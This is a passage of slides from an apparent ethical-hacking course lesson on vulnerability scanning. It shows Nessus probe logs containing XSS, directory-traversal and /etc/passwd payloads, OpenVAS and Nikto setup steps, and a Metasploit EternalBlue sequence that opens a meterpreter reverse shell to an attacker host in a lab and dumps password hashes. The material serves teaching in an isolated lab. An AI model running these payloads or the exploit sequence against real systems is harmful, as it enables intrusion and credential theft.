/axis-cgi/operator/param.cgi?action=list: 1 Time(s)
/axis/DirectDownload.jsp: 1 Time(s)
/axis2/services/CUPMService/ping: 1 Time(s)
/baselining/version: 1 Time(s)
/bitrix/admin/index.php?lang=en: 1 Time(s)
/blazeds/messagebroker/http: 1 Time(s)
/brightmail/viewLogin.do: 1 Time(s)
/broadWeb/bwRoot.asp: 1 Time(s)
/btmui/: 1 Time(s)
/builtin/index.html: 1 Time(s)
/cas/login: 1 Time(s)
/caucho-status: 1 Time(s)
/cgi-bin/camctrl.cgi: 1 Time(s)
/cgi-bin/client_execute.cgi?tUD=0: 1 Time(s)
/cgi-bin/com5.pl: 1 Time(s)
/cgi-bin/ctrldirect.cgi: 1 Time(s)
/cgi-bin/dCSOY927frCS.asp: 1 Time(s)
/cgi-bin/dCSOY927frCS.cfm: 1 Time(s)
/cgi-bin/dCSOY927frCS.cgi: 1 Time(s)
/cgi-bin/dCSOY927frCS.html: 1 Time(s)
/cgi-bin/dCSOY927frCS.inc: 1 Time(s)
/cgi-bin/dCSOY927frCS.php: 1 Time(s)
/cgi-bin/dCSOY927frCS.php3: 1 Time(s)
/cgi-bin/dCSOY927frCS.pl: 1 Time(s)
/cgi-bin/dCSOY927frCS.sh: 1 Time(s)
/cgi-bin/dCSOY927frCS.shtml: 1 Time(s)
/cgi-bin/filescan: 1 Time(s)
/cgi-bin/guestimage.html: 1 Time(s)
/cgi-bin/index.cgi: 1 Time(s)
/cgi-bin/kvm.cgi?&file=login: 1 Time(s)
/cgi-bin/printenv: 1 Time(s)
/cgi-bin/pub/pki?cmd=serverInfo: 1 Time(s)
/cgi-mod/index.cgi: 1 Time(s)
/cgi/common.cgi: 1 Time(s)
/chassis/config/GeneralChassisConfig.html: 1 Time(s)
/client/: 1 Time(s)
/clientaccesspolicy.xml: 1 Time(s)
/com/novell/webaccess/WebAccessUninstall.ini: 1 Time(s)
/command.php: 1 Time(s)
/common/about.php: 1 Time(s)
/commoncgi/servlet/CCGIServlet?ApHost=PDT_ ... File=logout.htm: 1 Time(s)
/conf/ssl/apache/integrity-smartcenter.key: 1 Time(s)
/conf/ssl/apache/integrity.key: 1 Time(s)
/configurations.do: 1 Time(s)
/console/faces/com_sun_web_ui/help/helpwin ... 7)%3c/script%3e: 1 Time(s)
/console/faces/com_sun_web_ui/help/masthea ... 7)%3c/script%3e: 1 Time(s)
/console/login/LoginForm.jsp: 1 Time(s)
/content/Yr0CGBPmYy.mp3: 1 Time(s)
/core/orionSplashScreen.do: 1 Time(s)
/courier/web/1000@/wmLogin.html: 1 Time(s)
/crossdomain.xml: 1 Time(s)
/csamc52/webadmin?page=invalid&type=browser: 1 Time(s)
/cwhp/CSMSDesktop/about.jsp: 1 Time(s)
/dCSOY927frCS.asp: 1 Time(s)
/dCSOY927frCS.cfm: 1 Time(s)
/dCSOY927frCS.cgi: 1 Time(s)
/dCSOY927frCS.html: 1 Time(s)
/dCSOY927frCS.inc: 1 Time(s)
/dCSOY927frCS.php: 1 Time(s)
/dCSOY927frCS.php3: 1 Time(s)
/dCSOY927frCS.pl: 1 Time(s)
/dCSOY927frCS.sh: 1 Time(s)
/dCSOY927frCS.shtml: 1 Time(s)
/ddem/: 1 Time(s)
/default.php: 1 Time(s)
/dev/: 1 Time(s)
/devinfo.xml: 1 Time(s)
/dfcweb/lib/cupm/nls/applicationproperties.js: 1 Time(s)
/dms2/Login.jsp: 1 Time(s)
/dndirector: 1 Time(s)
/dndirector/dashboard/Show.dn: 1 Time(s)
/dp/login.xml: 1 Time(s)
/dtlt/home.html: 1 Time(s)
/dwr/index.html: 1 Time(s)
/emsam/index.html: 1 Time(s)
/en/main.js: 1 Time(s)
/enter.php?goto=%2F: 1 Time(s)
/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cautoexec.bat: 1 Time(s)
/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini: 1 Time(s)
/error_page.htm: 1 Time(s)
/etc/passwd: 1 Time(s)
/event/index.do: 1 Time(s)
/ews/index.htm: 1 Time(s)
/examples/jsp/index.html: 1 Time(s)
/examples/jsp/snp/snoop.jsp: 1 Time(s)
/examples/jsp/source.jsp?%2e%2e/%2e%2e/%2e ... em/autoexec.ncf: 1 Time(s)
/examples/jsp/source.jsp?/jsp/: 1 Time(s)
/examples/jsp/source.jsp??: 1 Time(s)
/examples/servlet/SnoopServlet: 1 Time(s)
/examples/servlets/index.html: 1 Time(s)
/exchweb/bin/auth/owalogon.asp?url=http://12345678910: 1 Time(s)
/eyespyfx_large.jsp: 1 Time(s)
/f360/login.jsp: 1 Time(s)
/favicon.ico: 1 Time(s)
/favicon.iso: 1 Time(s)
/favicon2.iso: 1 Time(s)
/features: 1 Time(s)
/file: 1 Time(s)
/flex2gateway/http: 1 Time(s)
/fogbugz/default.php: 1 Time(s)
/forum.php: 1 Time(s)
/fs04c2zl.asp?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.asp?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.aspx?<meta%20http-equiv=Set-Cook ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.aspx?<script>document.cookie=%22 ... 18;%22</script>: 1 Time(s)
/fs04c2zl.cfc?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.cfc?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.cfm?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.cfm?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.cgi?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.cgi?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.dll?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.dll?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.do?<meta%20http-equiv=Set-Cookie ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.do?<script>document.cookie=%22te ... 18;%22</script>: 1 Time(s)
/fs04c2zl.exe?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.exe?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.fts?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.fts?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.htm?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.htm?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.html?<meta%20http-equiv=Set-Cook ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.html?<script>document.cookie=%22 ... 18;%22</script>: 1 Time(s)
/fs04c2zl.idc?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.idc?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.jsp?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.jsp?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.jspa?<meta%20http-equiv=Set-Cook ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.jspa?<script>document.cookie=%22 ... 18;%22</script>: 1 Time(s)
/fs04c2zl.kspx?<meta%20http-equiv=Set-Cook ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.kspx?<script>document.cookie=%22 ... 18;%22</script>: 1 Time(s)
/fs04c2zl.mscgi?<meta%20http-equiv=Set-Coo ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.mscgi?<script>document.cookie=%2 ... 18;%22</script>: 1 Time(s)
/fs04c2zl.nsf?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.nsf?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.php3?<meta%20http-equiv=Set-Cook ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.php3?<script>document.cookie=%22 ... 18;%22</script>: 1 Time(s)
/fs04c2zl.php?<meta%20http-equiv=Set-Cooki ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.php?<script>document.cookie=%22t ... 18;%22</script>: 1 Time(s)
/fs04c2zl.pl?<meta%20http-equiv=Set-Cookie ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.pl?<script>document.cookie=%22te ... 18;%22</script>: 1 Time(s)
/fs04c2zl.x?<meta%20http-equiv=Set-Cookie% ... stqxfq=7118%22>: 1 Time(s)
/fs04c2zl.x?<script>document.cookie=%22tes ... 18;%22</script>: 1 Time(s)

/properties/description.dhtml: 1 Time(s)
/ptz.htm: 1 Time(s)
/public/: 1 Time(s)
/puppet-ca/v1/certificate/207.62.187.231: 1 Time(s)
/puppet/v3/facts/207.62.187.231: 1 Time(s)
/qwe/qwe/index.html: 1 Time(s)
/rails_info/properties: 1 Time(s)
/rcladmin/js/art_i18n/nls/art_i18n.js: 1 Time(s)
/rdweb/login/login.html: 1 Time(s)
/recoveryconsole/: 1 Time(s)
/reporter/client.jsp: 1 Time(s)
/rest-service/reviews-v1/versionInfo: 1 Time(s)
/ruei/index.php: 1 Time(s)
/sabin/SiteAdmin.htm: 1 Time(s)
/sapmc/sapmc.html: 1 Time(s)
/sawmill6cl.exe: 1 Time(s)
/sawmill6cl.exe?ho+{COMPLETE_VERSION}: 1 Time(s)
/sawmillcl.exe: 1 Time(s)
/sawmillcl.exe?ho+{COMPLETE_VERSION}: 1 Time(s)
/sc3/console.php?psid=101: 1 Time(s)
/scgi-bin/platform.cgi: 1 Time(s)
/scmadmin/: 1 Time(s)
/scmadmin/LocalIndex.html: 1 Time(s)
/scripts/dCSOY927frCS.asp: 1 Time(s)
/scripts/dCSOY927frCS.cfm: 1 Time(s)
/scripts/dCSOY927frCS.cgi: 1 Time(s)
/scripts/dCSOY927frCS.html: 1 Time(s)
/scripts/dCSOY927frCS.inc: 1 Time(s)
/scripts/dCSOY927frCS.php: 1 Time(s)
/scripts/dCSOY927frCS.php3: 1 Time(s)
/scripts/dCSOY927frCS.pl: 1 Time(s)
/scripts/dCSOY927frCS.sh: 1 Time(s)
/scripts/dCSOY927frCS.shtml: 1 Time(s)
/scripts/w3who.dll: 1 Time(s)
/search/results.stm: 1 Time(s)
/securecgi-bin/CSUserCGI.exe?Init+0: 1 Time(s)
/securecgi-bin/CSUserCGI.exe?ver: 1 Time(s)
/self_upgrade.html: 1 Time(s)
/server-info: 1 Time(s)
/servlet/SnoopServlet/: 1 Time(s)
/servlet/UDataArea?plugin=com.dell.oma.web ... .AboutWebPlugin: 1 Time(s)
/servlet/admin?category=server&method=list ... min%22&service=: 1 Time(s)
/servlet/com.newatlanta.servletexec.JSP10S ... ..%5cglobal.asa: 1 Time(s)
/servlet/com.newatlanta.servletexec.JSP10Servlet: 1 Time(s)
/servlet/org.apache.catalina.servlets.Defa ... rvlet/index.jsp: 1 Time(s)
/servlet/snoop/: 1 Time(s)
/servlet/snoopservlet/: 1 Time(s)
/servlet/webacc?error=webacc: 1 Time(s)
/setup/setup-/../../log.jsp?log=info&mode=asc&lines=10: 1 Time(s)
/sgdadmin/faces/jsp/Version.jsp: 1 Time(s)
/shared/userlogin.php: 1 Time(s)
/sitemap/sitemap.xml: 1 Time(s)
/smadmr5.nsf: 1 Time(s)
/smconf.nsf: 1 Time(s)
/smency.nsf: 1 Time(s)
/smftypes.nsf: 1 Time(s)
/smhelp.nsf: 1 Time(s)
/smmsg.nsf: 1 Time(s)
/smquar.nsf: 1 Time(s)
/smsmvlog.nsf: 1 Time(s)
/smtime.nsf: 1 Time(s)
/snmx-cgi/fxm.exe: 1 Time(s)
/snoop/: 1 Time(s)
/snoopservlet/: 1 Time(s)
/something/maybe/ping: 1 Time(s)
/someunexistantantsutff.exe: 1 Time(s)
/someunexistantantsutff10320192727227426.html: 1 Time(s)
/someunexistantstuff.exe: 1 Time(s)
/someunexistantstuff931919576878834170.html: 1 Time(s)
/spipe?Source=nessus: 1 Time(s)
/spotfire/about.jsp: 1 Time(s)
/spywall/login.php: 1 Time(s)
/ssp//: 1 Time(s)
/start.js: 1 Time(s)
/status: 1 Time(s)
/status.php3: 1 Time(s)
/status.xsl.: 1 Time(s)
/stcenter.nsf: 1 Time(s)
/stream/0: 1 Time(s)
/stronghold-info: 1 Time(s)
/stronghold-status: 1 Time(s)
/struts/webconsole.html: 1 Time(s)
/stssys.htm: 1 Time(s)
/sws/data/sws_data.js: 1 Time(s)
/swvm/ConsoleContainer.jsp: 1 Time(s)
/syslog.htm: 1 Time(s)
/system.xml: 1 Time(s)
/system/console?version=1.5: 1 Time(s)
/sz5Sfd3A.asmx: 1 Time(s)
/tarantella/cgi-bin/secure/ttawlogin.cgi/?action=bootstrap: 1 Time(s)
/this_page_should_not_exist.htm: 1 Time(s)
/this_server/all_settings.shtml: 1 Time(s)
/tightvnc-jviewer.jar: 1 Time(s)
/tmui/: 1 Time(s)
/tomcat-docs/index.html: 1 Time(s)
/trace.axd: 1 Time(s)
/trc: 1 Time(s)
/triton-help/en/first.htm: 1 Time(s)
/tsp//: 1 Time(s)
/uddi/default.aspx: 1 Time(s)
/uddipublic/default.aspx: 1 Time(s)
/ui/faces/Login.xhtml: 1 Time(s)
/ui/login.action: 1 Time(s)
/ui/login/: 1 Time(s)
/usage/: 1 Time(s)
/user_settings.cfg: 1 Time(s)
/userportal/webpages/myaccount/login.jsp: 1 Time(s)
/v2.0/environments/207.62.187.231: 1 Time(s)
/view.html: 1 Time(s)
/view/hsrindex.shtml: 1 Time(s)
/view/view.shtml: 1 Time(s)
/vncviewer.jar: 1 Time(s)
/vsmc.html: 1 Time(s)
/wavemaster.internal: 1 Time(s)
/wcd/system.xml: 1 Time(s)
/web-console/ServerInfo.jsp: 1 Time(s)
/web-console/ServerInfo.jsp%00: 1 Time(s)
/web-determinations/?CookieSet=true: 1 Time(s)
/webacs/help/ncshelp/config.js: 1 Time(s)
/webalizer/: 1 Time(s)
/webapps/login/index.html: 1 Time(s)
/webct/about.jsp: 1 Time(s)
/webhost: 1 Time(s)
/webman/info.cgi?host=: 1 Time(s)
/webui/apps/sdcss: 1 Time(s)
/wrcontrollite.ssi: 1 Time(s)
/xampp/index.php: 1 Time(s)
/xmldata?item=All: 1 Time(s)
/xmldata?item=all: 1 Time(s)
/xsql/demo/airport/airport.xsql?xml-stylesheet=none: 1 Time(s)
/~nobody/etc/passwd: 1 Time(s)
ftp://127.0.0.1/*<apache_mod_proxy_ftp_glob_xss.nasl>: 1 Time(s)
ftp://207.62.187.231/*<apache_mod_proxy_ftp_glob_xss.nasl>: 1 Time(s)
ftp://ftp/*<apache_mod_proxy_ftp_glob_xss.nasl>: 1 Time(s)
http://127.0.0.1/iControl/iControlPortal.cgi: 1 Time(s)
http://207.62.187.231/authentication/login/: 1 Time(s)
http://rfi.nessus.org/check_proxy.html: 1 Time(s)
http://testp3.pospr.waw.pl/testproxy.php: 1 Time(s)

405 Method Not Allowed
/: 1 Time(s)
/Nessus169542265.html: 1 Time(s)
/grspvs1.html: 1 Time(s)

417 Expectation Failed
/: 1 Time(s)

501 Not Implemented
/: 3 Time(s)
/Nessus169542265.html: 1 Time(s)

---------------------- httpd End -------------------------

Victim logwatch of Nessus scan
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Partial firewall log of Nessus scan

[rsimms@opus-ii security]$ sort PAN-Log-column | uniq

Bash Remote Code Execution Vulnerability(36729)

DNS Zone Transfer AXFR Attempt(33337)

Generic HTTP Cross Site Scripting Attempt(30847)

Generic HTTP Cross Site Scripting Attempt(31475)

Generic HTTP Cross Site Scripting Attempt(31477)

HTTP Apache Tomcat DefaultServlet File Disclosure Vulnerability(30869)

HTTP Cross Site Scripting Attempt(32658)

HTTP Directory Traversal Request Attempt(33194)

HTTP Directory Traversal Vulnerability(30844)

HTTP /etc/passwd Access Attempt(30852)

HTTP /etc/passwd access attempt(35107)

HTTP Non-RFC Compliant Request(39143)

HTTP OPTIONS Method(30520)

HTTP TRACE Method(30510)

HTTP TRACK Method(30853)

IBM WebSphere Faultactor Cross-Site Scripting Vulnerability(30798)

Microsoft IIS Alternate Data Streams ASP Source Disclosure(30319)

Microsoft IIS UNC Path Disclosure Vulnerability(33062)

Microsoft Windows win.ini access attempt(30851)

OpenSSL TLS Malformed Heartbeat Request Found - Heartbleed(36397)

PHP CGI Query String Parameter Handling Code Injection Vulnerability(34790)

PHP CGI Query String Parameter Handling Information Disclosure and DoS Vulnerability(34804)

Postfix SMTP Service STARTTLS Implementation Plaintext Arbitrary Command Injection Vulnerability(34139)

SSH User Authentication Brute Force Attempt(40015)

Unknown HTTP Request Method Found(39822)

[rsimms@opus-ii security]$
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Nikto
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Nikto

https://cirt.net/nikto2

"Nikto is an Open Source (GPL) web server scanner which 

performs comprehensive tests against web servers for multiple 

items, including over 6700 potentially dangerous 

files/programs, checks for outdated versions of over 1250 

servers, and version specific problems on over 270 servers. It 

also checks for server configuration items such as the presence 

of multiple index files, HTTP server options, and will attempt 

to identify installed web servers and software. Scan items and 

plugins are frequently updated and can be automatically 

updated." 

- Nikto website

https://cirt.net/nikto2
http://www.gnu.org/licenses/licenses.html#GPL
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OpenVAS
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OpenVAS

http://www.openvas.org/

http://www.openvas.org/
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OpenVAS Installation

Doesn't come with Kali

To install:
apt-get update

apt-get upgrade

apt-get install openvas

openvas-setup

Installation will take a long 
time, be patient!

Record the generated 
password. 

Start and stop with:
openvas-start

openvas-stop

To use, browse to: 
https://127.0.0.1:9392

and login as admin with 
password recorded above.
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OpenVAS Login

Browse to https://127.0.0.1:9392 and login as 
admin with the password generated during setup
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OpenVAS Dashboard

Start with the Dashboard view
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Creating a new scan task

Click on the Scans menu, select Tasks
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Creating a new scan task
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Type in the IP address or hostname of the target system then click 
Start Scan button.  In this example we are scanning EH-Win7-05. 

Creating a Quickstart immediate scan task
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patient as scans can take LONG time!

Monitoring scan progress
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198Use Wireshark to watch scanning traffic

Monitoring scan progress
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199The latest scan has finished

Scan finished
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200The latest scan has finished

Scan finished
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View reports

Click on the Scans menu, select Reports
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202Click the Date link for the report to view

Select a report
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203Click a vulnerability to drill-down and get details

View a report
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204Top of page 

Review vulnerability information
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205Scroll down to see the CVE reverences

Review vulnerability information
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206Top of CVE information page

Review CVE information
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207Scroll down for more information

Review CVE information
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CVE Details

Enter 
CVE-2017-0143 
and click View CVE

http://www.cvedetails.com/

http://www.cvedetails.com/
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http://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2017-0143

Lookup CVE-2017-0143 CVE Details website

CVE-2017-0143 
has two 
Metasploit 
exploits

http://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2017-0143


CIS 76 - Lesson 6

210

http://www.cvedetails.com/cve-
details.php?t=1&cve_id=CVE-2017-0143

CVE Details website
CVE-2017-0143

Scroll down and click on the first "Kernel Pool Corruption" exploit

http://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2017-0143
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https://www.rapid7.com/db/modules/exploit
/windows/smb/ms17_010_eternalblue

Review the exploit information

Rapid7 website

https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue
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https://www.sans.org/security-
resources/sec560/misc_tools_sheet_v1.pdf

SANS Metasploit Cheatsheet

https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf
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Metasploit Eternal Blue Attack on EH-Win7

use exploit/windows/smb/ms17_010_eternalblue

show targets

set TARGET 0

show options

set RHOST 10.76.5.207

set PAYLOAD windows/x64/meterpreter/reverse_tcp

show options

set LHOST 10.76.5.150

exploit

sysinfo

hashdump
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Lab 5 due 
next week
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Wrap up

217



CIS 76 - Lesson 6

Next Class

Assignment: Check the Calendar Page on the web site to 
see what is due next week.

Quiz questions for next class:

Insure the apache2 service is running on your OWASP VM:

• From your pod Kali, do a SYN scan of your OWASP VM, what is 
the status of port 80?

• From your pod Kali, do a ACK scan on port 80 on your OWASP 
VM.  Is a stateful firewall present?

• From your pod Kali, do a NULL scan on port 25 of your OWASP 
VM.  Is an SMTP service running?

218
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[ ] Schedule end of practice test on Canvas [T-30]

[ ] Remove password on real test on Canvas [T-0]

[ ] Add Steganography file to /home/cis76/depot

cp ~/cis76/test01/bryce-76.jpg /home/cis76/depot [at job T-0]

[ ] Schedule end of real test on Canvas [at splashdown-1]

Notes to instructor



CIS 76 - Lesson 6

221



CIS 76 - Lesson 6

Backup
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Internet

EH-Pod-05

EH-pfSense-05
gateway

and firewall

"EH-Pod-05 Network"
10.76.5.0/24

.205 .1

.1

.150
“Microlab Network”

172.30.10.0/24

Opus

“Server Network”
172.30.5.0/24

NoSweat
gateway 

and firewall
.1

EH-IRC
IRC Server 

.20

.163

EH-Pod-12

EH-pfSense-12
gateway

and firewall

"EH-Pod-05 Network"
10.76.12.0/24

.212 .1 .150

EH-Kali-05

EH-Kali-12

EH-Centos
IRC Server 

.160


